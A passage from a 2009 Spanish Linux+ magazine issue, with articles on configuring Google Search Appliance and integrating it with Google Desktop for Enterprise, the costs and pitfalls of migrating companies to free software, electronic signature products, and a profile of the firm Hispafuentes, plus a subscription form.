Una vez realizado este paso, aparecerá un asistente de configuración, en el que deberemos otorgar al dispositivo de busqueda una dirección IP, una máscara de subred, el campo de pasarela predeterminada y la velocidad de la red.

Realizado esto debería configurar los servi-dores DNS así como los sufijos de la siguiente forma:

soporte.ejemplo.es

productos.ejemplo.es

division.ejemplo.es

Configurar el servidor SMTP, para que el dis-positivo pueda enviar notificaciones y alertas al administrador así como la zona horaria. Una vez introducida una lista de direcciones IP de servidores NTP (protocolo de tiempo de red), podremos pasar a la configuración del rastreo.

Accedemos a la URL https://dirección_IP:8443/ o https://dirección_IP:8000/ dependien-do de acceso mediante conexión segura o no. Y pasaremos a acceder al menú de rastrear e indexar donde deberemos escribir una o va-rias URL a ser escaneadas.

En este punto podemos realizar una confi-guración básica, que posteriormente podremos modificar sin problemas, acerca de rastrear o no determinadas URL con unos patrones especí- ficos.

Una vez realizados estos pasos básicos ya tendremos el dispositivo de búsqueda listo para proporcionar contenido a los usuarios finales, y como hemos podido observar el tiempo es-timado y la dificultad de puesta a punto inicial es mínima.

Generalmente los administradores de sis-temas que emplean Google Search Appliance como primera ocasión, se sorprenden de la canti-Figura 4. Duro competidor del GSA de Google

Figura 3. GSA-to-GSA en acción

Page 35: Linux_05_2009_ES

35www.lpmagazine.org

soluciones para empresasGoogle Search Appliance

dad de resultados y documentos que se pueden llegar a mostrar, pero tras una serie de filtros como comentamos con anterioridad se pueden gestionar los resultados mostrados.

Por seguridad, cabe recalcar que los pará-metros de configuración de la red necesarios como, por ejemplo, la dirección IP asignada al dispositivo de búsqueda expuestos anteriormen-te, sólo pueden modificarse desde un equipo con acceso físico al dispositivo. El acceso a través de la red no es suficiente para modificar estos parámetros.

¿Qué ocurre si mi empresa tiene varios GSA pero en diferentes departamentos separados geográficamente? Se puede dar el caso que una misma empresa disponga de varios dispositivos GSA repartidos por distintos departamentos, regiones e incluso continentes, siendo necesario poder observar si existen resultados relevantes en otro GSA de la corporación.

Esto es posible gracias a GSA-to-GSA One Box, una aplicación creada por Fmackenz y Cyrusm pertenecientes al Google Enterprise Labs, en la que un GSA pregunta a otro (GSA o mini) mediante el framework de One-Box pa-ra obtener información y devuelve el resultado en fracciones de segundo, mostrándolos en la misma página de resultado.

Para hacer funcionar GSA-to-GSA One Box es necesario un servidor de aplicaciones J2EE (como Tomcat) con soporte para servlets, una versión de JRE superior o igual a 1.4, así como JDK 1.4 o superior para poder recons-truir los servlets y el fichero war (web archive) suministrado.

En el caso de modificar el códido fuente, bajo licencia Apache 2.0, sería necesario em-plear Eclipse, Ant y Jbuilder.

Para hacer funcionar nuestro GSA-to-GSA deberíamos seguir los siguiente pasos:

• Cargar el fichero GSAOBF.war en nuestro servidor de aplicación J2EE, como Tom-cat.

• Abrir el fichero GSAOBF \ WEB-INF \ classes \ GSAOneBoxProvider.properties, que nos permitirá configurar los parame-tros respecto a nuestra configuración.

• Es documento gsaoneboxprovider.properties por defeccto contiene lo siguiente (ver Listado 1). Siendo:– sa.host = Host o IP del GSA que

será buscado por el GSA-to-GSA– sa.port = El puerto por el cual se

realizará la búsqueda– sa.site = El nombre de la colección

buscada por el GSA One-Box– sa.client = El nombre del front-

end GSA

– sa.proxystylesheet = El nombre del front-end GSA que tiene el XSLT para la tranformación

– sa.providertext = Nombre identifi-cativo de un OneBox que será devule-to al GSA tras la consulta

– sa.image = Imagen que aparece una vez mostradas las busquedas. La ruta seria: GSAOBF\images\

– sa.name = Nombre representativo de las busquedas del GSA-to-GSA

– sa.maxresults = Número máximo de resultados mostrados, se recomien-da un valor entre 2 y 5.

• vModificar todas la ocurrencias de YOUR_ONEBOX_HOST, en el fichero GSA_Basic.xml por el host donde está ubicado el GSA-to-GSA.

• Modificar todas las ocurrencias de YOUR_ONEBOX_PORT, en el fichero GSA_Basic. xml por el puerto en el que su aplicación se ejecuta en el servidor donde esta ubi-cado el GSA-to-GSA.

• Instalar el modulo GSA_Basic.xml en el GSA.

• Ya seria posible probar consultas y ver los resultados.

La aplicación está disponible en: http://code.google.com/p/gsa2gsa1box/

PUBLICIDAD

Page 36: Linux_05_2009_ES

36 Linux+ 5/2009

soluciones para empresasGoogle Search Appliance

GSA vs Thunderstone Search Appliance Thunderstone Search Appliance es el único dis-positivo físico capaz de competir con Google Search Appliance, que es capaz de realizar 15 consultas por segundo (o alrededor de 1000 por minuto), superando al GB-1001 de Google que sólo admite 300 por minuto. Permite grupos ili-mitados al igual que ocurre con GSA, dividién-dolos por comunidades, sitios webs o temas.

Tiene una capacidad de indexación de 3 millones de documentos, asemejandose al GB-1001. Indice de contenidos de documentos de Flash, JavaScript, Shockwave para rastrear contenido web que no se puede encontrar a través de hipervínculos de HTML convencio-nales, gestión automática de cookies, detección de duplicados, creación de hojas de estilo XML y capacidad para indexar contenido binario me-diante metadatos.

Soporte para 150 formatos de documentos diferentes, frente a los más de 200 que soporta GSA y capacidad de búsqueda en bases de datos MS SQL Server, Oracle, Sybase, DB2, Post-greSQL y Thunderstone Texis.

Pero las diferencias más importantes que tie-ne Thunderstone Search Appliance sobre Google Search Appliance es la capacidad de modificar el Ranking de relevancia, rastrear sitios webs de ter-ceros, eliminación de duplicados, añadir o quitar URLs en tiempo real y soporte telefónico.

Google Search Appliance + Google Desktop edición para empresas (GDfE) Google Desktop para empresas (GDfE)es una aplicación de búsqueda ubicada en el escritorio que permite a los usuarios encontrar un deter-minado texto deseado. Controlando de esta for-ma la cantidad de información albergada dentro de los equipos y que incluye funciones de admi-nistración que mejoran la seguridad y permiten una configuración de forma centralizada.

Permite encontrar dicha información en men-sajes de correo electrónico (Outlook, IBM Lotus Notes, Outlook Express, Netscape Mail, Mozilla Mail y Thunderbird), archivos de Word, Excel, PowerPoint, PDF, MP3, de imagen, audio y ví-deo, música, video, fotos, chats (Chats de AOL y AOL Instant Messenger) y páginas web (Inter- net Explorer, Netscape, Mozilla o Firefox) que han sido visitadas con anterioridad en el mismo ordenador que ha sido instalada la aplicación.

Una vez realizada la instalación de Google Desktop, en la versión estandar la aplicación crea un índice de todo el contenido que ha selec-cionado para que posteriormente pueda consul-tarlo como si lo hiciese desde la misma web de Google.com

Esta indexación la lleva a cabo continua-mente ejecutandose en segundo plano, con lo que si recibe un mail, en unos instantes des-pués, tendrá la posibilidad de poder buscarlo.

En cambio, en la versión empresarial, éste necesita ser configurado para trabajas con Go-ogle Search Appliance, así como éste último para trabajar con el primero.

¿Cómo podemos hacer para que GdfE pueda funcionar con GSA? Google Desktop para empresas permite llevar a cabo una configuración individual en los equipos para que pueda comunicarse correctamente con Google Search Appliance y de este modo poder insertar los resultados obtenidos en los resultados obtenidos mediante GSA.

La configuración para que esto ocurra sería la siguiente. Vamos al menú Inicio, Ejecutar e introducimos el comando: gpedit.msc. En la parte izquierda de la consola de administración, hacemos clic con el botón derecho del ratón en el elemento Plantillas administrativas, en Con- figuración del usuario, y seleccionaremos la op- ción Agregar o quitar plantillas. Una vez aquí ag- regaremos GoogleDesktopSearch.adm que se ha extraído del zip obtenido al descargar GDfE.

Ahora tenemos que configurar las políticas para que los resultados de GDfE aparezcan en los resultados de GSA. Para ello, en la misma parte izquierda del editor de políticas de grupo vamos a Integración de empresas donde haremos doble clic sobre Google Search Appliances y lo habi-litamos, poniendo el nombre del host de GSA, como por ejemplo gsaLinux.google.com

Nuestro último paso sería configurar las polí-ticas de GDfE para poder añadir una pestaña de la aplicación a las principales páginas de resultados de Google y Desktop.

Vamos al menu anterior de configuración de usuario y seleccionamos la pestaña de busqueda para empresa dentro del apartado de Integración para empresas, lo habilitamos y le damos un nombre.

Introducimos la URL de la página principal de búsqueda de Google Search Appliance como por ejemplo: http://gsaLinux.google.com/search? site=default_collection&client=integrated_ frontend&proxystylesheet=integrated_frontend& output=xml_no_dtd&proxycustom=<HOME/>

Y una vez realizado esto tendríamos Google Desktop para empresas (GdfE) complemente funcionando en nuestro sistema junto con Google Search Appliance.

ConclusiónImagina una carrera de coches a muerte, junto a un desfiladero (digamos desfiladero porque si fuese en la carreta F-51 de Torrepacheco la cosa

pierde emoción), donde se encuentran dos vehí-culos preparados para tomar la salida.

Uno es un flamante deportivo azul con una pegatina blanca en la luna trasera que pone Thun-derstone y el otro es un Renault color amarillo con una banderita en la antena que pone Google.

El piloto del primero coche preparó a con-ciencia la competición, aligerando al máximo el vehículo, deshaciéndose de los sillones, la rapa-cería, el equipo de música, etc, dejando sola la estructura, las cuatro ruedas y el volante. Con ello consiguió que pudiese alcanzar los 300 kilome-tros por hora. Por otro lado, el piloto del Renault amarillo, con su equipamiento de serie, sólo lle-garía a los 200 kilometros por hora. Aun así, el se sentía seguro, con su GPS, su mejor disco sonan-do por los altavoces, su bote de refresco en el posa vasos, su elevalunas eléctrico, cierre centralizado y un equipo de gente dispuesta a colaborar desin-teresadamente en caso de rotura, abandono o me-jora tecnológica. Supongo que ya todos sabemos o podemos imaginar, quién sería el ganador de la carrera y cuál caería por el desfiladero provo-cando una tremenda explosión. No creo que haga falta comentar que el ganador recuperó a la chica, volvió a su trabajo y acabo casándose en una an-tigua iglesia de la vieja Italia.

Es cierto y con esto quiero concluir, que en ocasiones la velocidad no es todo, también hay que ver el apoyo que tenemos detrás, la comuni-dad de desarrolladores que trabajan para aumen-tar las funcionalidades del producto, la seguridad y las posibilidades de configuración que tiene para adaptarlo a nuestra empresa.

Google Search Appliance, a pesar de ser un producto aparentemente caro, rentabiliza grata-mente la inversión.

Y recuerda, las buenas cosas llegan en cajas amarillas. Conducid con cuidado.

Miguel Sempere es un estudiante de último curso de Ingeniería Informática Superior de la Universidad de Alicante, gran aficionado a Linux desde que hace ya siete años cayó en sus manos la distribución Lycoris. Que por cierto no pudo instalar.

Actualmente colabora con el departa-mento de Física, Ingeniería de Sistemas y Teoría de la Señal en el grupo Automática, Robótica y Visión Artificial (Aurova) donde trabaja con el robot humanoide Robonova para el campeonato de robots Ceabot, orga- nizado por el Comité Español de Automática.

Podeis contactar con él a través de la siguiente dirección: [email protected]

Sobre el autor

Page 37: Linux_05_2009_ES

Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................

Dirección ..............................................................................................................................................................................................................................

C.P. .............................................................................................................. Población ....................................................................................................

Teléfono ..................................................................................................... Fax ...............................................................................................................

Suscripción a partir del No ...................................................................................................................................................................................................

e-mail (para poder recibir la factura) ..................................................................................................................................................................................

o Renovación automática de la suscripción

Por favor, rellena este cupón y mándalo por fax: +31 (0) 36 540 72 52 o por correo: EMD The Netherlands – Belgium, P.O. Box 30157, 1303 AC Almere, The Netherlands; e-mail: [email protected]

Pedido de suscripción

Título número de ejemplares

al año

número de suscripciones

a partir del número Precio

Linux+DVD (1 DVD)Mensual con un DVD dedicado a Linux 12 69 €

En total

Realizo el pago con:

□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO CVC Code Válida hasta

□ transferencia bancaria a ABN AMRO Bank, Randstad 2025, 1314 BB ALMERE, The Netherlands Número de la cuenta bancaria: 59.49.12.075 IBAN: NL14ABNA0594912075 código SWIFT del banco (BIC): ABNANL2A Fechayfirmaobligatorias:

Page 38: Linux_05_2009_ES

soluciones para empresasReducción de costes de software en la empresa gracias al Software Libre, ¿un mito?

38 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Reducción de costes de software en la empresagracias al Software Libre, ¿un mito?En los últimos años, los proyectos de software libre han abandonado el entorno universitario y se han ido introduciendo paulatinamente en el mundo empresarial. Sin embargo, aún hay muchas empresas que, o bien por desconocimiento o por recelo, aún no se han atrevido a dar “el salto”.

Yaiza Temprado Rodríguez

En este artículo se analiza la situación actual del software libre en las empresas y su nivel de im-plantación, así como los pros y los contras que supone para una empresa migrar sus sistemas

a software libre.

¿Por qué ahora?Hasta hace muy poco tiempo, el software libre no dejaba de ser en las empresas una presencia casi anecdótica: la ausencia de software profesional de calidad, la falta de compatibilidad con programas propietarios que se han convertido en estándares de facto o la falta de soporte por parte de empresas especializadas en administrar sistemas basados en software libre, limitaron durante mucho tiempo la expansión de éste en el entorno empre-sarial. Sin embargo, estas limitaciones, así como otras no menos importantes como la facilidad de instalación y uso, han ido desapareciendo hasta llegar al momento en el que nos encon-tramos ahora, cuando el software libre es por fin una alternativa real al software propietario, con una oferta amplia de herramien-tas de alta calidad, fáciles de usar y totalmente compatibles.

Sin embargo, esto no es algo completamente nuevo: el soft-ware libre lleva ya algunos años cumpliendo sobradamente con

lo que se espera de él y mucho más, sin embargo ha sido en los últimos meses cuando muchas empresas han empezando a plan-tearse seriamente migrar sus sistemas de forma completa (o casi completa) a alternativas basadas en software libre. Este hecho no resulta sorprendente, sobre todo si tenemos en cuenta que en el último año la crisis económica que se está viviendo a nivel global está afectando especialmente a empresas pequeñas y medianas, así como a trabajadores por cuenta propia. Por eso, en muchos casos el dinero disponible es escaso, y son muchas las personas y empresas que se plantean si el dinero dedicado a patentes de software no estaría mejor invertido en otros recursos.

ProsCuando la gente piensa en las ventajas del software libre, la primera que nos viene a la cabeza es que excepto raras excep-ciones, se trata de software gratuito. Aunque esta no es la única ventaja (más adelante veremos otras), sí que es seguramente la que puede tener un efecto más evidente sobre la economía de una empresa. Aunque las copias ilegales de software propietario hacen que mucha gente ni siquiera sea consciente del coste real del software que utiliza, la realidad es que el software básico para un ordenador suma un precio desorbitado, como podrá

Page 39: Linux_05_2009_ES

soluciones para empresasReducción de costes de software en la empresa gracias al Software Libre, ¿un mito?

39www.lpmagazine.org

verse detalladamente más adelante. Otro de los beneficios del software libre es que permitirá a nuestra empresa mejorar, ampliar y adaptar el software a nuestras necesidades, sin depender de que los responsables de ese software dedican que determinada mejora es digna de su tiempo. Sim-plemente, cogemos el código fuente y lo modifi-camos como nos convenga o corrigiendo errores que, por lo que sea, aún no se hayan solucionado. En este punto, eso sí, tenemos que tener cuidado: dependiendo de la licencia que tenga el software libre que estamos adaptando, puede que estemos obligados a liberar los cambios para que otros usuarios puedan aprovecharse de ellos (el caso más famoso es el de la licencia GPL).

Otra ventaja importante que muchas veces pasa desapercibida, es la seguridad que nos pro-porciona el software libre: por ejemplo, si nues-tra empresa maneja datos confidenciales y muy sensibles (datos de clientes, de productos, ideas para proyectos, etc), ¿podemos estar cien por cien seguros de que ese software privativo, cuyo código jamás hemos visto, no tiene debilidades o puertas traseras que puedan dar acceso a nues-tros datos a terceros? Esta ventaja no es trivial. El software libre puede ser auditado (línea por línea

si hace falta) de forma que quede la más mínima duda de que es seguro para nuestros datos, mien-tras que el software privativo no deja de ser una caja negra a la que le estamos confiando nuestro datos sin ninguna garantía.

Seguimos con las ventajas, y es que no debe-mos olvidar que el software libre, como ya hemos dicho, nos permite que seamos nosotros mismos los que modifiquemos y adaptemos el software o, si no tenemos los conocimientos necesarios o los recursos, que contratemos a otra persona que lo haga en nuestro lugar. Y esta persona puede ser cualquiera que nosotros elijamos, sin estar atados a los desarrolladores de una empresa en particu-lar. El verdadero potencial de algo tan aparente-mente obvio se puede ver en el siguiente ejemplo: supongamos que decidimos montar una empresa, y en estos momentos el programa por excelencia para llevar la contabilidad es el llamado X, soft-ware cerrado propiedad de la empresa Y. Una vez montada nuestra empresa, toda la contabilidad al día en el programa X, etc. la empresa Y decide abandonar el desarrollo de ese software (o, aún peor, la empresa Y quiebra). ¿Qué podemos hacer en esta situación? ¿Cómo enfrentarse a ella? Po-dremos sobrevivir con el software X congelado

durante cierto tiempo, pero finalmente se queda-rá obsoleto y tendremos que migrar la contabili-dad a otro programa, con la consiguiente pérdida de dinero, tiempo y con la potencial pérdida de información y aparición de errores. Si nuestro programa X hubiera sido software libre, ésto no habría pasado: incluso en el caso de que todos los desarolladores decidieran abandonar el proyecto, siempre podemos retomarlo nosotros o pagar a personas para que lo hagan. No dependemos de ninguna empresa más que de la nuestra, que es de lo que se trata.

ContrasPor supuesto, y por mucho que estemos deseo-sos de migrar nuestra empresa y empezar a aho-rrar dinero, no debemor perder de vista tampo-co que hay una serie de cosas a tener en cuenta antes de decidirnos, de cara a detectar posibles problemas y no arrepentirnos a medio camino. ¡Eso sí que sería una pérdida de dinero!

Lo primero que tendremos que hacer, antes de comenzar la migración, será hacer un análisis del software que necesitamos a nuestra empresa y localizar software libre de similares características. En muchos casos, esta equiva-lencia será muy sencilla (paquetes ofimáticos, correo, navegador, mensajería instantánea...), pero en el caso de software más especializado es importante saber exactamente qué necesitamos, ya que dificilmente encontraremos herramientas con la misma funcionalidad, sino que tendremos que renunciar a determinadas opciones y, segu-ramente acostumbrarnos a otras nuevas. Este es, sin duda, uno de los puntos cruciales. Por ejemplo, muchas empresas dedicadas a diseño a las que les gustaría migrar sus sistemas se en-cuentran con la limitación de que el Autocad no existen en GNU/Linux (aunque sí que existen alternativas comerciales muy pontentes, como el Pro/Engineer que, eso sí, no es libre). Algunas empresas decidirán, llegados a este punto, que la migración no es posible. Más adelante se expli-carán alternativas para este problema.

Uno de los gastos que nos producirá la mi-gración de nuestros sistemas es la que supone la formación de los empleados. Este es un punto al que raramente se le da la importancia que me-rece, pero que no debe despreciarse: si tenemos trabajadores que han estado usando el mismo entorno y las mismas herramientas durante años, y decidimos de la noche a la mañana modificar ambas cosas por completo sin formarles para adaptarse al cambio, lo primero que lograremos son empleados descontentos; y lo segundo, una disminución muy importante en el nivel de pro-ductividad de la mayoría de ellos. Es por ello que es importante separar una partida de presupuesto para preparar a los trabajadores y que el cambio

Tabla 1. Precios de las licencias del software más popular

Software común a todos los ordenadores:

Windows Vista 149 euros (x50)

Microsoft Office 399 euros (x50)

Software específico de los financieros:

Sage SP 466,75 euros (x5)

Software específico de los diseñadores gráficos:

Macromedia Studio 2.202,84 euros (x10)

Software específico de los programadores en C++:

Visual Studio 2005 799 euros (x15)

Rational Rose 5.456,65 euros (x15)

Software de los jefes:

Microsoft Project 1.230,08 euros (x7)

Page 40: Linux_05_2009_ES

40 Linux+ 5/2009

Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito?soluciones para empresas

suponga una reducción lo menor posible de la productividad. No obstante, y por buena que sea la formación recibida, debemos estar preparados para que la época inmediatamente posterior al cambio los empleados trabajen a un ritmo algo menor al acostumbrado.

Aunque el aspecto y facilidad de uso de las herramientas y sistemas operativos libres ha me-jorado espectacularmente en los últimos años, aún queda camino por recorrer, y existen algunos pro-gramas que serán difíciles de instalar para aquellos usuarios sin experiencia en este tipo de sistemas, así como la configuración de determinados dispo-sitivos y algún detalle más. Seguramente, durante la migración requeriremos la contratación de per-sonal de sistemas que ayude a dejar los equipos listos y configurados, y resuelva los problemas que, seguro, irán surgiendo en el transcurso de la migración e inmediatamente después.

¿Realmente nuestra empresa ahorrará dinero?Visto lo visto, está claro que la migración de nuestros sistemas a software libre (de igual for- ma que cualquier otro cambio estructural de cier-ta magnitud) lleva asociado un coste extra que no tendríamos con el sistema que tengamos en la actualidad. Sin embargo, ¿cuánto tiempo tardare-mos en rentabilizar esa inversión?

Supongamos una empresa mediana de desa-rrollo software, con 50 puestos de trabajo, todos ellos con ordenador. Cinco de ellos pertenecen a Recursos Humanos, otros cinco al departamen-to comercial, otros cinco a financiero, tres a admi-nistración de sistemas, siete a los jefes de proyec-tos y 25 a desarrollo, de los cuales diez se centran en diseño gráfico y quince en programación en C++. Vamos a suponer, por ser el caso común a la mayoría de las empresas, que los administradores de sistemas se basan en software libre, así que no vamos a tener en cuenta las posibles licencias que puedan tener en sus ordenadores. Dada esta situa-ción, hagamos cálculos: (ver Tabla 1).

A esa bonita cifra de dinero en licencias te-nemos que sumarle el hecho de que ese software se quedará obsoleto en poco tiempo, lo que nos supondrá una reinversión de aproximadamente el 30% cada dos años.

Por otro lado, tenemos que sumar también el gasto que nos supone en administración de sistemas: los servidores basados en GNU/Linux han demostrado una y otra vez ser más estables y requerir menos mantenimiento que sistemas basados en Windows, lo que limita al máximo la contratación de administradores 24x7, que son sin duda los más costosos. Además, la imposibilidad de los usuarios de instalarse programas, introdu-cir virus en sus ordenadores o tocar ficheros fuera del directorio que tienen asignado, ahorrará una enorme cantidad de tiempo en administración, lo que también supone un ahorro importante.

Cómo migrar nuestra empresa. Posibles problemasLo primero que tenemos que tener en cuenta es que el ser humano tiende a la comodidad por enci-ma de todo, es una realidad. Cuando los emplea-dos de una empresa llevan 10 años trabajando con determinadas herramientas, cualquier cambio, por pequeño que sea, chocará contra la desconfianza, el desconcierto o el abierto desprecio. Es por ello que debemos ser capaces de guiar a nuestros empleados a través del cambio que se avecina de forma gradual y proporcionándoles la formación adecuada para trabajar en el nuevo entorno.

No es mala idea plantearse la migración en épocas en las que el nivel de trabajo sea lo menor posible (por ejemplo, durante el verano o justo después de él), ya que los trabajadores tendrán más tiempo para investigar y amoldarse, dismi-nuyendo el stress que les puede causar tener que hacer una tarea urgente y encontrarse con que no tienen el programa que siempre han usado para realizarla...

Otra buena idea es realizar la migración en dos pasos: primero, mantener los puestos con

Windows, pero instalando el software libre que tenemos idea de que terminen usando en GNU/Linux (Openoffice, Thunderbird, Firefox...) y, una vez que haya pasado un tiempo razonable y los empleados se encuentren cómodos con estas he- rramientas, realizar la segunda parte de la migra-ción, cambiando el sistema operativo.

Sin embargo, y a pesar de todas las ventajas del software libre, conviene no ser excesivamente radicales al respecto: es posible que algunos de nuestros empleados definitivamente necesiten herramientas que sólo se pueden usar en Windo-ws y cuya alternativa para Linux no cumpla las espectactivas. En ese caso, mejor que empeñarse en eliminar Windows por completo de nuestra empresa, conviene ceder en pro de la productivi-dad de nuestros trabajadores: un sistema de arran-que dual, en el que el empleado pueda arrancar Windows cuando necesite utilizar la herramienta problemática y Linux para todo lo demás, o la uti-lización de programas de emulación como Wine, que permite instalar aplicaciones de Windows bajo Linux, pueden ser la solución más acertada.

ConclusionesLa migración de una empresa de un sistema de software propietario a uno completamente libre es complicada, sin duda, por lo que se debe es-tudiar la situación con cuidado y minimizando en lo posible el impacto sobre los trabajadores. Sin embargo, las múltiples ventajas a medio plazo (y el importante ahorro económico a largo plazo), así como la libertad de no depender de ninguna empresa para gestionar y desarrollar el software que utilizamos, hace que sin duda ese esfuerzo merezca la pena.

Sin embargo, no debemos perder de vista que estamos hablando de una empresa, y como tal lo que buscamos sobre todo es que la producti-vidad y la satisfacción de los trabajadores sean lo más altas posibles, por lo que plantearse como al-ternativa soluciones mixtas en nuestra empresa (con algunos puestos con Windows y otros con Linux, o algunos con programas de Windows instalados sobre Wine) puede ser la solución cómoda y funcional que estamos buscando.

Figura 2. Porcentaje de uso de software libre en entornos empresariales

Yaiza Temprado Rodríguez (ytr@moviquity. com) es Ingeniero Superior en Informática y actualmente realiza su doctorado en la Universidad Carlos III de Madrid. Además de trabajar para Telefónica I+D como ex-perta en Data Mining, imparte clases de Aprendizaje Automático en la Universidad Europea de Madrid. Es además administra-dora de la página www.chicaslinux.org.

Sobre la autora

Page 41: Linux_05_2009_ES
Page 42: Linux_05_2009_ES

soluciones para empresasLa firma electrónica

42 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

La Firma electrónica y sus aplicaciones en la actualidadExisten en este momento en el mundo gran cantidad de libros, webs y jornadas informativas en donde se habla de la Firma electrónica y la revolución documental que trae consigo y que llega como un tsunami.

A ctualmente, la firma manuscrita en un papel es equiparable legalmente a la firma electrónica en un documento (fichero de cualquier índole y formato), permitiendo que personas estam-

pen su firma sin necesidad de estar ubicadas en el mismo espacio físico, con plena identificación de los firmantes, con control formidable de que el documento es el mismo y no ha variado, e incluso con sellado de tiempo.

Cuando hablamos de un documento, en realidad nos referimos igualmente a un fichero electrónico, ya que lo mismo se puede firmar una película, una aplicación, contrato, historial médico que un currículo, informe financiero, código fuente y logs de servidor o backups de empresa, tanto si se almacenan como si se transportan llevan la seguridad embe-bida en ellos.

¿Firmarías una mejora para tu empresa?Disponer de capacidad de firmar ficheros electrónicamente evitará millones de impresiones de papel innecesarias, por lo que podemos afirmar que el resultado de la generalización de la firma electrónica traerá un impacto ambiental positivo de incalculable valor.

En todo el mundo existe un movimiento emergente muy potente que se orienta en distintas líneas:

• Mejora de la seguridad (Autenticación, Integridad, Con-fidencialidad)

• Mejora de procesos, eficacia documental, trazabilidad, ahorro de papel e incluso voto electrónico, facilidad para el almacenamiento y búsqueda de información y mejor transporte.

Organismos europeos como el ETSI empujan con una gran fuerza la interoperabilidad de formatos en toda Europa, de mo-do que los ciudadanos, gobiernos y empresas puedan manejar aplicaciones distintas pero todas ellas basándose en están-dares. Estandarización en cuanto a formatos (CAdES, PDF, XAdES, ODF), en cuanto a algoritmos de cifrado que están en la base de la firma electrónica y en relación a certificados digitales creados por Infraestructuras de clave pública (PKI). Todo ello fácilmente utilizable y apto para el ciudadano y mundo empresarial.

Estas consideraciones están en la base de todos los pro-ductos que ha desarrollado KSI Suguridad Digital para los

Page 43: Linux_05_2009_ES

soluciones para empresasLa firma electrónica

43www.lpmagazine.org

entornos Linux y Windows y que podríamos resumir en:

• Explorador ESecure – Firma y cifrado (Win),

• ecoFactura Escritorio– Facturación elec-trónica (Win),

• ecoAsesoría –Firma, envío y publicación de información firmada (Win),

• Plataforma web de Firma y eFactura (Li-nux y Windows),

• API de firma y cifrado (Linux y Windows).

El universo de la firma electrónica y cifrado tiene plena aplicación en la mejora de la segu-ridad documental, facilitando el cumplimiento de normas legales como la LOPD, y otras de rango europeo y mundial para entornos médi-cos y alimentarios.

La administración española está siendo punta de lanza con EEUU en la expansión de estos procesos. Proyectos como el del DNI electrónico, la Ley de Firma electrónica y la normativa de Facturación electrónica han creado un contexto en el que cualquier pro- fesional o empresa avanzada no puede que-darse atrás.

Si la gestión de una factura en papel se calcula en torno a los 8 euros mientras que

una electrónica no llega a los 2,5, hay razones también económicas para zambullirse con ilu- sión en este proceso donde también la redu- cción de papel y mejora de la seguridad deben ser valorados.

En pro de la eficiencia KSI Seguridad Digital aporta productos capa-ces de incorporar la firma digital y cifrado de la información a cualquier tipo de documento, no importando si el documento es un archivo PDF, XML, fotografía, plano, copia de seguri- dad o factura.

Uno de los productos más demandados es la Librería de Seguridad de KSI para desarro-lladores que aporta todos los estándares nece-sarios para la utilización de distintos tipos de cifrado en las aplicaciones (Simétrico y Asimé-trico). Aporta todas las capacidades de Firma electrónica que hoy día necesitamos incorporar a sistemas de documentación, de contabilidad e informes, de nóminas y trabajo en grupo, de almacenamiento seguro. Así como aquellos orientados a cumplir normativas legales como CFR 21, HIPAA, GAMP4, LOPD, LFE, y aque- llas normativas orientadas a implantar la Fac- tura electrónica en Europa siguiendo recomenda-ciones de la CEE y estándares de organizaciones como ETSI (European Telecommunications Standards Institute).

Las empresas interesadas en este produc-to proceden de muchos países, remarcable Hispanoamérica, y tienen sectores de nego- cio muy diferenciados, siendo en unos casos empresas de desarrollo que ofrecen a sus clien- tes soluciones con la firma digital incorpora- da o bien empresas que desarrollan para sí mismas estas soluciones. (Se puede ver más información en http://www.ksitdigital.com/productos/api/).

Otro producto que ha creado una gran expectación es ecoPFN. Comprende la fusión del famoso PFN (PHP File Navigator) y la tecnología de firma y cifrado de KSI Seguridad Digital. De esta unión nace un producto con la capacidad de gestión de la información y con la potencia de la firma y el cifrado.

Basada en tecnología MySQL, Apache y PHP esta plataforma es capaz de gestionar múltiples usuarios, con control por raíces y gru- pos, a ella se puede acceder mediante usuario/contraseña o bien mediante certificado digital. Es posible el firmar lotes de ficheros y en- viarlos por Email a sus destinatarios además de dejar la información en la zona privada del usuario.

La trazabilidad de las acciones es un impor-tante elemento de control para saber si un usua-rio ha accedido a la información. Este producto está enlazado con los productos de KSI dirigi-dos a la facturación electrónica (ecoFactura) y gestión de información para asesorías (eco- Asesoría), permitiendo que estos productos sean capaz de procesar facturas, documentos fiscales (IVA, IRPF, Certificados) o laborales (Nó- minas, Finiquitos, Certificados, TC2) y enviar- los a la plataforma estando accesibles para los usuarios.

Estos productos, ecoFactura y ecoAsesoría, en este momento sólo funcionan en Windows.

Más información en: http://www.ksitdigital. com/productos/otros-productos/

Casos de éxito Podemos contar experiencias de muchos tipos de clientes diferentes y entornos muy distintos. Desde un cliente que emite 10 facturas al mes y emite facturación electrónica con nuestros productos como la Mancomunidad de Aguas de Pamplona que emite cerca de 40000 fac-turas al mes.

En otros sectores diferentes a la factura electrónica como el de los ingenieros, ha su-puesto un descubrimiento nuestra capacidad de firma de cualquier documento, dado que no deben pasar a PDF el plano que desean firmar y asegurar.

Asimismo, queremos hacer mención es-pecial al ámbito de la asesoría de empresas, concretamente a Pyramide Asesores, ubica-da en Navarra, que implantaron el producto ecoAsesoría ayudando de forma activa a que la herramienta mejore cada día.

Esta empresa ha pasado de tener cuatro días de trabajo ocupada a una persona en la gestión de los envíos por correo postal, a rea-lizar el mismo trabajo en un par de horas. No sólo han asegurado su información, también han mejorado sus procesos y la eficiencia.

Page 44: Linux_05_2009_ES

soluciones para empresasHispafuentes: una alternativa libre en la seguridad

44 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Hispafuentes: una alternativa libre en la seguridadHispafuentes, fundada en el año 1999, es una empresa dedicada al desarrollo de productos y servicios del mundo Linux y Software Libre en general, migraciones de entornos propietarios a entornos Open Source, virtualización y soluciones de seguridad, incluyendo, entre otras tecnologías certificados de clave pública.

Entre los proyectos realizados a lo largo de su dilatada trayectoria, cabe reseñar los siguientes:

MolinuxLa Junta de Comunidades de Castilla-La Mancha elaboró un plan y puso en marcha allá por el año 2004 una iniciativa des-tinada a eliminar las barreras en el acceso a la informática y a las tecnologías de la información de los ciudadanos mediante la distribución gratuita de Software Libre. Molinux, es una iniciativa con la que el Gobierno regional da un paso más hacia la extensión de las Nuevas Tecnologías, en este caso impulsando de forma decidida su democratización al poner a disposición de ciudadanos y empresas un completo paquete informático a coste cero.

